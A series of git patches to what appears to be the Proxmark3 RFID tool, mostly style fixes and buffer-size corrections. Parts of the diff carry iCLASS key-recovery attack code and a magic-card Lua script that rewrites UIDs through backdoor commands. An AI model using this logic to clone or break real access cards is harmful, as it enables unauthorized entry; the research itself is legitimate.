(portLen == 0) { diff --git a/client/src/emv/cmdemv.c b/client/src/emv/cmdemv.c index cac12083d..4e4aab42b 100644 --- a/client/src/emv/cmdemv.c +++ b/client/src/emv/cmdemv.c @@ -2040,9 +2040,9 @@ static int CmdEMVScan(const char *Cmd) { uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2; - uint8_t filename[FILE_PATH_SIZE] = {0}; - int filenamelen = sizeof(filename) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated - CLIGetStrWithReturn(ctx, 12, filename, &filenamelen); + char filename[FILE_PATH_SIZE] = {0}; + int fnlen = 0; + CLIParamStrToBuf(arg_get_str(ctx, 12), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); CLIParserFree(ctx); From 81d795e56f6121eeb931cd01e59b475f04712beb Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 2 Nov 2024 14:52:59 +0100 Subject: [PATCH 055/155] fix styles --- client/src/cmdhficlass.c | 12 +++++++----- client/src/cmdlfhid.c | 11 ++++++----- 2 files changed, 13 insertions(+), 10 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index cc78ce414..1a8f569ab 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4759,9 +4759,9 @@ static int CmdHFiClassEncode(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - // TODO: very confusing sizes... buf of 70, parser len to 63 instead of 70-1, tests for len > 127, loop with 64... - uint8_t bin[70] = {0}; - int bin_len = 63; + // can only do one block of 8 bytes currently. There are room for two blocks in the specs. + uint8_t bin[65] = {0}; + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 1, bin, &bin_len); int key_nr = arg_get_int_def(ctx, 2, -1); @@ -4801,8 +4801,10 @@ static int CmdHFiClassEncode(const char *Cmd) { bool use_sc = false; CLIGetHexWithReturn(ctx, 6, enc_key, &enc_key_len); + // FC / CN / Issue Level wiegand_card_t card; memset(&card, 0, sizeof(wiegand_card_t)); + card.FacilityCode = arg_get_u32_def(ctx, 7, 0); card.CardNumber = arg_get_u32_def(ctx, 8, 0); card.IssueLevel = arg_get_u32_def(ctx, 9, 0); @@ -4830,8 +4832,8 @@ static int CmdHFiClassEncode(const char *Cmd) { have_enc_key = true; } - if (bin_len > 127) { - PrintAndLogEx(ERR, "Binary wiegand string must be less than 128 bits"); + if (bin_len > 64) { + PrintAndLogEx(ERR, "Binary wiegand string must be less than 64 bits"); return PM3_EINVARG; } diff --git a/client/src/cmdlfhid.c b/client/src/cmdlfhid.c index 204505972..c4b816cac 100644 --- a/client/src/cmdlfhid.c +++ b/client/src/cmdlfhid.c @@ -376,9 +376,10 @@ static int CmdHIDClone(const char *Cmd) { bool q5 = arg_get_lit(ctx, 7); bool em = arg_get_lit(ctx, 8); - // TODO: very confusing sizes... buf of 70, parser len to 63 instead of 70-1, tests for len > 127, loop with 96... - int bin_len = 63; - uint8_t bin[70] = {0}; + // t5577 can do 6 blocks with 32bits == 192 bits, HID is manchester encoded and doubles in length. + // With parity, manchester and preamble we have about 3 blocks to play with. Ie: 96 bits + uint8_t bin[97] = {0}; + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 9, bin, &bin_len); CLIParserFree(ctx); @@ -387,8 +388,8 @@ static int CmdHIDClone(const char *Cmd) { return PM3_EINVARG; } - if (bin_len > 127) { - PrintAndLogEx(ERR, "Binary wiegand string must be less than 128 bits"); + if (bin_len > 96) { + PrintAndLogEx(ERR, "Binary wiegand string must be less than 96 bits"); return PM3_EINVARG; } From e23d4ac62552d018193f90a1f83a571e30d73277 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 2 Nov 2024 15:10:43 +0100 Subject: [PATCH 056/155] updated deprecated param. Thanks @nvx --- Makefile | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/Makefile b/Makefile index 5a07b580a..960fc7557 100644 --- a/Makefile +++ b/Makefile @@ -308,15 +308,15 @@ style: @command -v astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 ) # Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v, pm3 find . \( -not -path "./cov-int/*" -and -not -path "./fpga*/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ - -exec perl -pi -e 's/[ \t]+$$//' {} \; \ - -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ - -exec sh -c "echo >> {}" \; + -exec perl -pi -e 's/[ \t]+$$//' {} \; \ + -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ + -exec sh -c "echo >> {}" \; # Apply astyle on *.c, *.h, *.cpp find . \( -not -path "./cov-int/*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ - --indent=spaces=4 --indent-switches \ - --keep-one-line-blocks --max-instatement-indent=60 \ - --style=google --pad-oper --unpad-paren --pad-header \ - --align-pointer=name {} \; + --indent=spaces=4 --indent-switches \ + --keep-one-line-blocks --max-continuation-indent=60 \ + --style=google --pad-oper --unpad-paren --pad-header \ + --align-pointer=name {} \; # Update commands.md [ -x client/proxmark3 ] && client/proxmark3 -m | tr -d '\r' > doc/commands.md # Make sure python3 is installed From b3285cce8a791f4ee3ca3afb3808cb61e1e52187 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 2 Nov 2024 15:13:40 +0100 Subject: [PATCH 057/155] style --- armsrc/iclass.c | 72 +- armsrc/iso14443a.c | 2 +- client/luascripts/hf_mf_uscuid_prog.lua | 92 +- client/src/cmddata.c | 2 +- client/src/cmdhf14b.c | 2 +- client/src/cmdhfgallagher.c | 10 +- client/src/cmdhficlass.c | 14 +- client/src/cmdlf.c | 6 +- client/src/cmdlfhid.c | 4 +- client/src/pm3_luawrap.c | 3662 +++++++++-------- client/src/pm3_pywrap.c | 4916 +++++++++++------------ doc/commands.json | 6 +- 12 files changed, 4333 insertions(+), 4455 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 2701eec0c..7a9256323 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2222,19 +2222,19 @@ void iClass_Recover(iclass_recover_req_t *msg) { picopass_hdr_t hdr = {0}; bool res = false; - while(!card_select || !card_auth){ + while (!card_select || !card_auth) { Iso15693InitReader(); //has to be at the top as it starts tracing - if(!msg->debug){ + if (!msg->debug) { set_tracing(false); //disable tracing to prevent crashes - set to true for debugging - }else{ - if (loops == 1){ + } else { + if (loops == 1) { clear_trace(); //if we're debugging better to clear the trace but do it only on the first loop } } - if(msg->test){ - Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- TEST Index - Loops: "_YELLOW_("%3d / %3d") " --------------*",loops,msg->loop); - }else{ - Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " --------------*",index,loops,msg->loop); + if (msg->test) { + Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- TEST Index - Loops: "_YELLOW_("%3d / %3d") " --------------*", loops, msg->loop); + } else { + Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " --------------*", index, loops, msg->loop); } //Step0 Card Select Routine eof_time = 0; //reset eof time @@ -2247,22 +2247,22 @@ void iClass_Recover(iclass_recover_req_t *msg) { } //Step1 Authenticate with AA1 using trace - if(card_select){ + if (card_select) { memcpy(original_mac, msg->req.key, 8); start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); if (res == false) { DbpString(_RED_("Unable to authenticate on AA1 using macs! Retrying...")); - }else { + } else { DbpString(_GREEN_("AA1 authentication with macs successful!")); card_auth = true; } } - if(!card_auth || !card_select){ + if (!card_auth || !card_select) { reinit_tentatives++; switch_off(); } - if(reinit_tentatives == 5){ + if (reinit_tentatives == 5) { DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping.")); goto out; } @@ -2274,26 +2274,26 @@ void iClass_Recover(iclass_recover_req_t *msg) { AddCrc(cmd_read + 1, 1); int priv_esc_tries = 0; bool priv_esc = false; - while(!priv_esc){ + while (!priv_esc) { //The privilege escalation is done with a readcheck and not just a normal read! iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); // expect a 8-byte response here res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res2 != PM3_SUCCESS || resp_len != 8){ + if (res2 != PM3_SUCCESS || resp_len != 8) { DbpString(_YELLOW_("Privilege Escalation -> ")_RED_("Read failed! Trying again...")); priv_esc_tries++; - }else{ + } else { DbpString(_YELLOW_("Privilege Escalation -> ")_GREEN_("Response OK!")); priv_esc = true; } - if(priv_esc_tries == 5){ + if (priv_esc_tries == 5) { DbpString(_RED_("Unable to complete privilege escalation! Stopping.")); goto out; } } generate_single_key_block_inverted(zero_key, index, genkeyblock); - if(msg->test){ + if (msg->test) { memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); } @@ -2307,39 +2307,39 @@ void iClass_Recover(iclass_recover_req_t *msg) { bool use_mac = true; bool written = false; bool write_error = false; - while(written == false && write_error == false){ + while (written == false && write_error == false) { //Step5 Perform Write if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) { DbpString("Wrote key: "); Dbhexdump(8, genkeyblock, false); } - //Reset cypher state + //Reset cypher state iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); //try to authenticate with the original mac to verify the write happened memcpy(msg->req.key, original_mac, 8); res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if(msg->test){ + if (msg->test) { if (res != true) { DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***")); goto out; - }else{ + } else { DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***")); completed = true; goto out; } - }else{ + } else { if (res != true) { DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!")); written = true; - }else{ + } else { DbpString("Write Operation : "_RED_("FAILED! Card Key is the Original. Retrying...")); write_error = true; } } } - if(!write_error){ + if (!write_error) { //Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key for (int i = 0; i < 8 ; ++i) { iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); @@ -2359,7 +2359,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { //regardless of bits being found, restore the original key and verify it bool reverted = false; uint8_t revert_retries = 0; - while(!reverted){ + while (!reverted) { //Regain privilege escalation with a readcheck iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); @@ -2381,27 +2381,27 @@ void iClass_Recover(iclass_recover_req_t *msg) { if (res == true) { DbpString("Restore of Original Key "_GREEN_("VERIFIED! Card is usable again.")); reverted = true; - if (recovered){ + if (recovered) { goto restore; } - }else{ + } else { DbpString("Restore of Original Key "_RED_("VERIFICATION FAILED! Trying again...")); } revert_retries++; - if(revert_retries >= 7){ //must always be an odd number! - Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); - goto out; + if (revert_retries >= 7) { //must always be an odd number! + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; } } } - if(loops >= msg->loop){ + if (loops >= msg->loop) { completed = true; goto out; } - if(!write_error){ //if there was a write error, re-run the loop for the same key index + if (!write_error) { //if there was a write error, re-run the loop for the same key index loops++; index++; } @@ -2413,7 +2413,7 @@ restore: ;//empty statement for compilation uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0}; - for(int i = 0; i < PICOPASS_BLOCK_SIZE; i++){ + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { partialkey[i] = genkeyblock[i] ^ bits_found; } @@ -2429,9 +2429,9 @@ restore: out: switch_off(); - if(completed){ - reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0); - }else{ + if (completed) { + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0); + } else { reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); } diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 9bfbf9423..a7d661a9b 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -2440,7 +2440,7 @@ bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_ if (GetTickCountDelta(receive_timer) > timeout + 100) { break; - } + } } *received_len = Demod.len; diff --git a/client/luascripts/hf_mf_uscuid_prog.lua b/client/luascripts/hf_mf_uscuid_prog.lua index 26491bbeb..344747f90 100644 --- a/client/luascripts/hf_mf_uscuid_prog.lua +++ b/client/luascripts/hf_mf_uscuid_prog.lua @@ -22,13 +22,13 @@ This script does *NOT* claim full compatibility with the ICs listed below: * UFUID * PFUID* -Why? -Unfortunately, these are cut down versions. +Why? +Unfortunately, these are cut down versions. Checks show that they only acknowledge bytes 0-1, 7, 8, and 15 of the configuration. * WARNING: The config commands are inversed. Nothing will work. -Ready to start? +Ready to start? Set the first 2 bytes of your config to 7AFF and use -t 4. @@ -41,7 +41,7 @@ example = [[ 2. script run hf_mf_uscuid_prog -t 4 -u A72B571 -- Read sector 0 - 3. script run hf_mf_uscuid_prog -S 0 + 3. script run hf_mf_uscuid_prog -S 0 ]] usage = [[ script run hf_mf_uscuid_uid_prog [-h] [-u ] [-t] [-3] [-s ] [-w 1] [-R -B ] [-S -E ] [-g -c -b -2 -7 -d -a -n -r <0/1>] @@ -61,9 +61,9 @@ arguments = [[ -S Read sector [ConfigStar] - Unmarked data will not be edited. - - How to use: + Unmarked data will not be edited. + + How to use: To ENABLE an option, pass "1" To DISABLE an option, pass "0" @@ -142,10 +142,10 @@ local function sendCmds(cmds) end local function wakeupmagic(writetype) - if writetype == "2" then - sendCmds(wupc2()) - elseif writetype == "4" then - sendCmds(wupc()) + if writetype == "2" then + sendCmds(wupc2()) + elseif writetype == "4" then + sendCmds(wupc()) end end @@ -158,13 +158,13 @@ local function calculate_block0(useruid) local length = #useruid // 2; -- bcc - for i = 3, length, 1 do + for i = 3, length, 1 do bcc = bxor(bcc, uidbytes[i]) end -- block0 local block0 = "" - for i = 1, length, 1 do + for i = 1, length, 1 do block0 = block0..string.format('%02X', uidbytes[i]) end @@ -238,7 +238,7 @@ local function writeconf(configbuffer) end else oops("Tag did not ACK `E100` command!") lib14a.disconnect() - return 1 + return 1 end end -- End config functions @@ -299,8 +299,8 @@ function main(args) if o == 'r' then if a == "1" then sigsec = true elseif a == "0" then sigsec= false end end end - if gen1 ~= nil or gen1com~= nil or keyblock~= nil or cuid~= nil or cl2mode~= nil or shadowmode~= nil or magicauth~= nil or statenc~= nil or sigsec~= nil then - configwrite = true + if gen1 ~= nil or gen1com~= nil or keyblock~= nil or cuid~= nil or cl2mode~= nil or shadowmode~= nil or magicauth~= nil or statenc~= nil or sigsec~= nil then + configwrite = true end if targetbblk then if tonumber(targetbblk) > 63 then oops("Block is above 63") return 1 end end @@ -327,7 +327,7 @@ function main(args) oops("DANGER! Tag did not ACK wipe command. The field has NOT been reset.") print("[ ] If you think the wipe succeeded, immediately do this:") print("hf 14a raw -kc E100; hf 14a raw -c 7AFF0000000000000000000000000008") - return 1 + return 1 end writeconf(utils.ConvertHexToBytes("7AFF0000000000000000005A00000008")) @@ -359,40 +359,40 @@ function main(args) print("") if targetblk or targetsec then - if targetblk then - data = sendRaw("30"..string.format("%02x", targetblk), false) + if targetblk then + data = sendRaw("30"..string.format("%02x", targetblk), false) end - if targetblk then + if targetblk then -- floor division... - SectorHeader(targetblk // 4) + SectorHeader(targetblk // 4) else SectorHeader(targetsec) end - if targetblk then - BlockParser(data, targetblk) - else - for i=0, 3 do + if targetblk then + BlockParser(data, targetblk) + else + for i=0, 3 do BlockParser(sendRaw("30"..string.format("%02x", targetsec * 4 + i), true), targetsec * 4 + i) end end elseif targetbblk or targetbsec then - if targetbblk then - data = sendRaw("38"..string.format("%02x", targetbblk), false) + if targetbblk then + data = sendRaw("38"..string.format("%02x", targetbblk), false) end - if targetbblk then + if targetbblk then -- floor division SectorHeader(targetbblk // 4) - else - SectorHeader(targetbsec) + else + SectorHeader(targetbsec) end - if targetbblk then - BlockParser(data, targetbblk) - else + if targetbblk then + BlockParser(data, targetbblk) + else for i =0, 3 do BlockParser(sendRaw("38"..string.format("%02x", targetbsec * 4 + i), true), targetbsec * 4 + i) end @@ -428,8 +428,8 @@ function main(args) if string.len(uid) == 14 then wakeupmagic(writetype) - if f3perso == true then - print("[?] WARNING: F3 perso write is set, but 7 byte UID is passed. Ignoring -3 argument") + if f3perso == true then + print("[?] WARNING: F3 perso write is set, but 7 byte UID is passed. Ignoring -3 argument") end local configdata = readconf() @@ -445,7 +445,7 @@ function main(args) if sendRaw("A800", true) ~= "0A" then oops("Tag did not ACK `A800` command!") lib14a.disconnect() - return 1 + return 1 end print("[?] WARNING: nUID should be updated with this value:") @@ -455,18 +455,18 @@ function main(args) if sendRaw(payload, true) ~= "0A" then oops("Tag did not ACK data to write!") lib14a.disconnect() - return 1 + return 1 end print(cl.yellow.."[-]".. cl.reset .." Updating real block 0") if sendRaw("A000", true) ~= "0A" then oops("Tag did not ACK `A000` command!") lib14a.disconnect() - return 1 + return 1 end - if sendRaw(cltwo_block0(uid), false) ~="0A" then - oops("Tag did not ACK data to write!") + if sendRaw(cltwo_block0(uid), false) ~="0A" then + oops("Tag did not ACK data to write!") end -- Now, let's work with 4 byte UIDs. @@ -478,7 +478,7 @@ function main(args) if configdata[10] == 0x69 or f3perso == true then -- If we have Perso: F3, then write backdoor blk 1 if f3perso == true then - print ("[?] WARNING: F3 flag enabled. Updating UID used for F3 perso") + print ("[?] WARNING: F3 flag enabled. Updating UID used for F3 perso") end if sendRaw("A801", true) ~= "0A" then @@ -499,11 +499,11 @@ function main(args) if sendRaw("A000", true) ~= "0A" then oops("Tag did not ACK `A000` command!") lib14a.disconnect() - return 1 + return 1 end end - if sendRaw(payload, false) ~= "0A" then + if sendRaw(payload, false) ~= "0A" then oops("Tag did not ACK data to write!") end end @@ -522,7 +522,7 @@ function main(args) if sendRaw("A805", true) ~= "0A" then oops("Tag did not ACK `A805` command!") lib14a.disconnect() - return 1 + return 1 end if sendRaw(string.sub(signature,1,32), true) ~= "0A" then @@ -556,8 +556,8 @@ function main(args) if ans ~="yes" then lib14a.disconnect() return 1 - else - print(cl.red.."[/]"..cl.reset.." Brace yourself.") + else + print(cl.red.."[/]"..cl.reset.." Brace yourself.") end end diff --git a/client/src/cmddata.c b/client/src/cmddata.c index 4b7ddb0d2..b0765ae0b 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -3171,7 +3171,7 @@ static int CmdNumCon(const char *Cmd) { pn = (hlen * 4) - slen + 1; } } - PrintAndLogEx(SUCCESS, "%s%.*s%s",radix[i].desc, pn, pad, s); + PrintAndLogEx(SUCCESS, "%s%.*s%s", radix[i].desc, pn, pad, s); } } diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 3b2cce3bc..e6495dae6 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1437,7 +1437,7 @@ bool HF14B_picopass_reader(bool verbose, bool info) { return false; } memcpy(card, resp.data.asBytes, sizeof(picopass_hdr_t)); - if(info){ + if (info) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn))); } diff --git a/client/src/cmdhfgallagher.c b/client/src/cmdhfgallagher.c index 4165856b0..be27c72fe 100644 --- a/client/src/cmdhfgallagher.c +++ b/client/src/cmdhfgallagher.c @@ -1311,7 +1311,7 @@ static int CmdGallagherDecode(const char *cmd) { return PM3_SUCCESS; } -static int CmdGallagherEncode (const char *cmd) { +static int CmdGallagherEncode(const char *cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf gallagher encode", "Encode a Gallagher credential block\n" @@ -1335,7 +1335,7 @@ static int CmdGallagherEncode (const char *cmd) { uint64_t issue_level = arg_get_u64(ctx, 4); // uint4 CLIParserFree(ctx); - + GallagherCredentials_t creds = { .region_code = region_code, .facility_code = facility_code, @@ -1345,15 +1345,15 @@ static int CmdGallagherEncode (const char *cmd) { uint8_t contents[16] = {0}; - + gallagher_encode_creds(contents, &creds); for (int i = 0; i < 8; i++) { contents[i + 8] = contents[i] ^ 0xFF; } - PrintAndLogEx(SUCCESS, "Raw: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents)/2)); + PrintAndLogEx(SUCCESS, "Raw: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents) / 2)); PrintAndLogEx(SUCCESS, "Bitwise: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents))); - + return PM3_SUCCESS; } diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 1a8f569ab..c3c168c1c 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -2712,7 +2712,7 @@ static int CmdHFiClassRestore(const char *Cmd) { } static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, - bool auth, bool shallow_mod, uint8_t *out, bool print) { + bool auth, bool shallow_mod, uint8_t *out, bool print) { iclass_auth_req_t payload = { .use_raw = rawkey, @@ -2762,7 +2762,7 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, } static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, - bool auth, bool shallow_mod, uint8_t *out) { + bool auth, bool shallow_mod, uint8_t *out) { return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true); } @@ -3714,10 +3714,10 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { if ((strlen(filename) == 0) && (use_vb6kdf == false)) { if (use_elite) { - PrintAndLogEx(INFO,"Using default elite dictionary"); + PrintAndLogEx(INFO, "Using default elite dictionary"); snprintf(filename, sizeof(filename), ICLASS_DEFAULT_KEY_ELITE_DIC); } else { - PrintAndLogEx(INFO,"Using default dictionary"); + PrintAndLogEx(INFO, "Using default dictionary"); snprintf(filename, sizeof(filename), ICLASS_DEFAULT_KEY_DIC); } } @@ -5297,7 +5297,7 @@ int info_iclass(bool shallow_mod) { iclass_card_select_resp_t *r = (iclass_card_select_resp_t *)resp.data.asBytes; - uint8_t *p_response = (uint8_t*)&r->header.hdr; + uint8_t *p_response = (uint8_t *)&r->header.hdr; // no tag found or button pressed if (r->status == FLAG_ICLASS_NULL || resp.status == PM3_ERFTRANS) { return PM3_EOPABORTED; @@ -5382,9 +5382,9 @@ int info_iclass(bool shallow_mod) { uint8_t cardtype = get_mem_config(hdr); PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]); - if(HF14B_picopass_reader(false, false)){ + if (HF14B_picopass_reader(false, false)) { PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)")); - }else{ + } else { PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)")); } if (legacy) { diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index 2f128cf63..b2f8ba20c 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -1127,7 +1127,7 @@ int CmdLFfskSim(const char *Cmd) { bool separator = arg_get_lit(ctx, 4); char raw[65] = {0}; - int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 5, (uint8_t *)raw, &raw_len); bool verbose = arg_get_lit(ctx, 6); @@ -1238,7 +1238,7 @@ int CmdLFaskSim(const char *Cmd) { bool separator = arg_get_lit(ctx, 6); char raw[65] = {0}; - int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 7, (uint8_t *)raw, &raw_len); bool verbose = arg_get_lit(ctx, 8); @@ -1352,7 +1352,7 @@ int CmdLFpskSim(const char *Cmd) { uint8_t carrier = arg_get_u32_def(ctx, 6, 2); char raw[65] = {0}; - int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 7, (uint8_t *)raw, &raw_len); bool verbose = arg_get_lit(ctx, 8); diff --git a/client/src/cmdlfhid.c b/client/src/cmdlfhid.c index c4b816cac..4ad3cbc66 100644 --- a/client/src/cmdlfhid.c +++ b/client/src/cmdlfhid.c @@ -376,10 +376,10 @@ static int CmdHIDClone(const char *Cmd) { bool q5 = arg_get_lit(ctx, 7); bool em = arg_get_lit(ctx, 8); - // t5577 can do 6 blocks with 32bits == 192 bits, HID is manchester encoded and doubles in length. + // t5577 can do 6 blocks with 32bits == 192 bits, HID is manchester encoded and doubles in length. // With parity, manchester and preamble we have about 3 blocks to play with. Ie: 96 bits uint8_t bin[97] = {0}; - int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 9, bin, &bin_len); CLIParserFree(ctx); diff --git a/client/src/pm3_luawrap.c b/client/src/pm3_luawrap.c index 87dec2a1e..65798a2e5 100644 --- a/client/src/pm3_luawrap.c +++ b/client/src/pm3_luawrap.c @@ -140,7 +140,7 @@ # define SWIG_NULLPTR nullptr #else # define SWIG_NULLPTR NULL -#endif +#endif /* ----------------------------------------------------------------------------- * swigcompat.swg @@ -339,10 +339,10 @@ # define SWIG_CASTRANKMASK ((SWIG_CASTRANKLIMIT) -1) # define SWIG_CastRank(r) (r & SWIG_CASTRANKMASK) SWIGINTERNINLINE int SWIG_AddCast(int r) { - return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; + return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; } SWIGINTERNINLINE int SWIG_CheckState(int r) { - return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; + return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; } #else /* no cast-rank mode */ # define SWIG_AddCast(r) (r) @@ -361,32 +361,32 @@ typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { - const char *name; /* mangled name of this type */ - const char *str; /* human readable name of this type */ - swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ - struct swig_cast_info *cast; /* linked list of types that can cast into this type */ - void *clientdata; /* language specific type data */ - int owndata; /* flag if the structure owns the clientdata */ + const char *name; /* mangled name of this type */ + const char *str; /* human readable name of this type */ + swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ + struct swig_cast_info *cast; /* linked list of types that can cast into this type */ + void *clientdata; /* language specific type data */ + int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { - swig_type_info *type; /* pointer to type that is equivalent to this type */ - swig_converter_func converter; /* function to cast the void pointers */ - struct swig_cast_info *next; /* pointer to next cast in linked list */ - struct swig_cast_info *prev; /* pointer to the previous cast */ + swig_type_info *type; /* pointer to type that is equivalent to this type */ + swig_converter_func converter; /* function to cast the void pointers */ + struct swig_cast_info *next; /* pointer to next cast in linked list */ + struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { - swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ - size_t size; /* Number of types in this module */ - struct swig_module_info *next; /* Pointer to next element in circularly linked list */ - swig_type_info **type_initial; /* Array of initially generated type structures */ - swig_cast_info **cast_initial; /* Array of initially generated casting structures */ - void *clientdata; /* Language specific module data */ + swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ + size_t size; /* Number of types in this module */ + struct swig_module_info 